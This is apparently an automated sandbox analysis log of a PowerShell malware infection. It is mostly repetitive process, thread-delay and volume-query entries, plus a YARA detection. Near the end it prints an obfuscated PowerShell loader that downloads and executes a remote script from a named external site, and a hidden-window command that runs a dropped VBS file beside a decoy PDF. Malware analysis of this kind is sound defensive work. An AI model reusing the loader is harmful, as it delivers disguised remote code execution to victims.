$ErrorView -ne "CategoryView") { $myinv = $_.InvocationInfo if ($myinv -and $myinv.MyCommand)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4988	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4867	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2626	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1116	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6560	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1920	Thread sleep count: 2626 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1912	Thread sleep count: 1116 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 608	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4580	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000002.00000002.1582670560.000001D94FEEC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}**
Source: powershell.exe, 00000002.00000002.1582670560.000001D94FEEC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2560139710.00000189C422B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2561841541.00000189C985A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_1020.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1020, type: MEMORYSTR

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win hidden C:\Windows\System32\WindowsPowerShell\v1.0=iex "[Environment]::GetEnvironmentVariable('public') + '\\n6m6k1.vbs'"			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\List of Required items and services.pdf"			Jump to behavior

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" ${xadeoc} = $pshome;${*k99xuf.} = ${xadeoc}[+52 -53 +1] + ${xadeoc}[-11 +2] + 'a' + ${xadeoc}[-66 +55];${f89.} = $([type]${*k99xuf.});${*.n6m6k1.} = ${f89.}::tostring(+79 -1 -5)+${f89.}::tostring(+79 -1 -5 -4)+${f89.}::tostring(+79 +30 -10 +21);&(${*.n6m6k1.})(&(${*.n6m6k1.})(${xadeoc}[+52 -53 +1]+'u'+${xadeoc}[-66 +55]+${xadeoc}[-61 +55]+' https://www.al-rasikh.com/ms/neatez.txt -usebasicparsing'))

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
